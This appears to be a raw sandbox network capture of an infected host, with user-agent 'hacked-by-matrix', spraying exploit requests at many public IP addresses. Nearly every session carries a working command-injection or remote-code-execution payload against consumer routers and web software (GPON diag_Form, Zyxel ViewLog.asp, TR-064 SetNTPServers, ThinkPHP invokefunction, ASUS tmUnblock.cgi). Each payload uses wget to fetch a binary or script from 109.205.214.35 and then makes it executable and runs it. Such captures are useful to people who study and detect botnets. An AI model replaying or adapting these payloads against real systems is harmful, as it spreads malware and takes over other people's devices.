Mar 21, 2024 05:26:56.396631956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1453	192.168.2.23	59696	109.104.216.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396651030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1454	192.168.2.23	34474	94.156.70.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396667004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1455	192.168.2.23	46236	42.78.5.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396673918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1456	192.168.2.23	51976	42.116.73.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396677971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1457	192.168.2.23	56796	109.188.178.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396940947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1458	192.168.2.23	49118	42.65.242.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396960974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1459	192.168.2.23	33122	2.92.49.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.396995068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1460	192.168.2.23	57020	212.126.64.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.397007942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1461	192.168.2.23	48520	5.30.23.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.397011042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1462	192.168.2.23	44978	42.71.83.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.397011995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1463	192.168.2.23	38006	2.2.5.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.397058010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1464	192.168.2.23	56048	82.165.178.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.398364067 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:57.416035891 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1465	192.168.2.23	51494	187.202.234.215	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.398389101 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:57.576001883 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:58.584180117 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1466	192.168.2.23	47530	213.74.31.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.433621883 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:56.644767046 CET	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:24:23 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1467	192.168.2.23	34434	112.184.88.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.461987972 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1468	192.168.2.23	51210	181.26.126.145	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.499047041 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:56.739917040 CET	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Thu, 21 Mar 2024 04:26:53 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1469	192.168.2.23	34806	172.67.102.24	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.995577097 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1470	192.168.2.23	40004	175.240.225.222	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.599478006 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:57.888210058 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:57 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1471	192.168.2.23	43980	39.29.2.119	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:57.605123043 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:57.895179987 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:57 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
